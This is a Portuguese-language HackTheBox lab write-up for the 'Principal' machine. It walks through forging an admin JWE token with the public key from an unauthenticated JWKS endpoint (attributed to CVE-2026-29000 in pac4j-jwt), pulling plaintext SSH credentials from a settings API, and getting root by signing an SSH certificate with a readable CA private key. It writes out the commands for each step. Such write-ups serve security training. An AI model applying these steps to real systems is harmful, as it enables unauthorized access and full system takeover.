HackTheBox — Principal

Dificuldade: Média SO: Linux Plataforma: HackTheBox

Visão Geral

Aplicação web que executa pac4j-jwt v6.0.3 — vulnerável a CVE-2026-29000. A chave pública RSA é exposta sem autenticação através de um endpoint JWKS e pode ser usada para forjar um token JWE de administrador válido, contornando a autenticação por completo. Com acesso de administrador, credenciais SSH em texto simples são recuperadas da API de configurações. A conta de serviço é membro do grupo deployers com acesso de leitura a uma chave privada de CA SSH confiável pelo sshd — assinar um certificado que concede acesso root conclui a máquina.

1. Enumeração

Naveguei até a aplicação web e visualizei o código-fonte da página. Encontrei o pacote JavaScript principal em /static/js/app.js.

Endpoints de API principais identificados dentro de app.js:

/api/auth/login
/api/auth/jwks      <- endpoint de chave pública (sem autenticação)
/api/dashboard
/api/users
/api/settings

O rodapé da página revelou: pac4j-jwt v6.0.3 — vulnerável a CVE-2026-29000.

2. Bypass de Autenticação JWT — CVE-2026-29000

Obtive a chave pública RSA do endpoint JWKS sem autenticação:

curl http://<TARGET_IP>:8080/api/auth/jwks
# Retorna a chave pública RSA (kid: enc-key-1)

A CVE-2026-29000 permite que a chave pública seja usada para forjar um token JWE válido — a biblioteca aceita incorretamente tokens criptografados com a chave pública em vez de exigir a chave privada.

Usei o PoC para gerar um token de administrador forjado:

python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. Acesso à API de Administrador

Usei o token forjado como token Bearer no Burp Repeater:

Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

• Função confirmada: ROLE_ADMIN
• O registro de atividades mostrou ações CERT_ISSUED para o usuário: svc-deploy

GET /api/settings → 200 OK

• Credenciais SSH encontradas em texto simples na configuração de segurança
• Autenticação por certificado SSH habilitada
• Caminho da CA SSH: /opt/principal/ssh/

4. Acesso Inicial

Conectei via SSH usando as credenciais recuperadas de /api/settings:

ssh svc-deploy@<TARGET_IP>

Flag de usuário recuperada.

5. Escalação de Privilégios — Assinatura com CA SSH

svc-deploy está no grupo deployers com acesso de leitura a /opt/principal/ssh/:

ls -la /opt/principal/ssh/
# ca        — chave privada da CA RSA de 4096 bits (legível por deployers)
# ca.pub    — chave pública da CA
# README.txt — confirma que a CA é confiável pelo sshd

A chave privada da CA é legível. Como o sshd confia nesta CA, qualquer certificado assinado por ela é aceito — incluindo um que conceda acesso root.

# Gerar um novo par de chaves
ssh-keygen -t ed25519 -f /tmp/privesc

# Assinar com a CA, concedendo principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# SSH como root
ssh -i /tmp/privesc root@<TARGET_IP>

Flag de root recuperada.

Flags

• Usuário: /home/svc-deploy/user.txt
• Root: /root/root.txt

Principais Lições

• Sempre verifique as versões da biblioteca JWT durante o reconhecimento de aplicações web — pac4j-jwt é comum em aplicações Java.
• CVE-2026-29000: confusão de chave JWE no pac4j — chave pública aceita onde a chave privada é exigida.
• Endpoints de configurações de API frequentemente vazam credenciais em texto simples — sempre enumere todas as rotas autenticadas assim que tiver um token válido.
• Se uma conta de serviço puder ler uma chave privada de CA SSH confiável pelo sshd, você pode assinar um certificado como qualquer principal, incluindo root. Verifique associações de grupo e permissões da chave da CA durante a pós-exploração.